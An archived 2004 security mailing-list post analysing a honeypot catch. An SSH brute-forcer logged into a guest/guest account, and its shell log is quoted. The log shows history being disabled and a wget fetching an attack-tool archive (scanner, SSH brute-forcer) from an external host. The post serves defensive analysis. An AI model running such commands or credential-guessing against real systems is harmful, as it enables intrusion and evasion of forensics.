Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | Re: FW: [Intrusions] Linux SSH scanning - test/guest |
|---|---|
| Date: | Wed, 8 Sep 2004 02:51:52 +0200 |
Hi, On Fri, Jul 30, 2004 at 07:22:45AM -0400, M Shirk wrote: [..]
There is also a multithreaded SSH bruteforcer called "haita" This attempts to login to machines using the accounts "test" and "guest", with passwords "test" & "guest" respectively. It runs from a file of addresses found by a synscan program. It identifies itself as SSH-2.0-libssh-0.1 So, SSH login failures for test & guest are an indication of this thing running at the remote end. The two names & passwords appear to be hardcoded into the program. Since Linux as I recall backs off after failed attempts there wouldn't be much to gain by trying many more names, but variants may appear with other defaults.
I just setup an account "guest" with password "guest" and a shell modified to log commands via syslog[0]. Sep 8 02:08:45 azathoth sshd[5890]: Accepted password for guest from 218.25.120.5 port 2952 ssh2 Sep 8 02:11:24 azathoth sshd[5914]: Accepted password for guest from 82.77.67.250 port 1173 ssh2 Sep 8 02:11:29 localhost T=2004-09-08__02:11:29 PI=5917 UI=1007 w Sep 8 02:11:45 localhost T=2004-09-08__02:11:45 PI=5917 UI=1007 unset HISTFILE ; unset HISTSAVE Sep 8 02:12:10 localhost T=2004-09-08__02:12:10 PI=5917 UI=1007 mkdir /tmp/PS Sep 8 02:12:17 localhost T=2004-09-08__02:12:17 PI=5917 UI=1007 cd /tmp/PS Sep 8 02:12:23 localhost T=2004-09-08__02:12:23 PI=5917 UI=1007 ls -a Sep 8 02:12:42 localhost T=2004-09-08__02:12:42 PI=5917 UI=1007 wget memphis.freehttp.com/69 Sep 8 02:13:24 localhost T=2004-09-08__02:13:24 PI=5917 UI=1007 kill -9 0 (All timestamps are MEST). Timestamps suggest all commands were typed in by hand; no attempt was made to compromise the target system. # file /tmp/PS/69 /tmp/PS/69: gzip compressed data, from Unix # tar tzvf /tmp/PS/69 drwxr-xr-x root/root 0 2004-07-12 20:10 ssh/ -rwxr-xr-x root/root 453972 2004-07-12 20:09 ssh/ss -rwxr-xr-x root/root 1365263 2004-07-12 20:10 ssh/sshf -rwxr-xr-x root/root 85 2004-07-12 20:10 ssh/go.sh 'ss' is a simple port scanner used to find other systems running a ssh server, running 'strings' on it suggests its this one: [1] 'sshf' is then used to try logging onto the systems using test/test and guest/guest (seems to be hardcoded). I've mirrored '69' at [2], just in case someone wants to take a closer look. - Sebastian [0] http://www.honeynet.org/tools/dcapture/bash-perassi.patch [1] http://www.securiteam.com/tools/5EP0B0ADFO.html [2] http://www.jaenicke.org/misc/69 -- Sebastian Jaenicke Disce aut discede! whois pgpkey-C81115B1 -h whois.ripe.net|perl -ne's-^certif: *--&&print'
pgpoTI3YZOb9X.pgp
Description: PGP signature
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | RE: Wireless router behaviour, Mike |
|---|---|
| Next by Date: | Re: Systems compromised with ShellBOT perl script - part 2, Kirby Angell |
| Previous by Thread: | RE: Wireless router behaviour, Mike |
| Next by Thread: | Re: FW: [Intrusions] Linux SSH scanning - test/guest, Sebastian Jaenicke |
| Indexes: | [Date] [Thread] [Top] [All Lists] |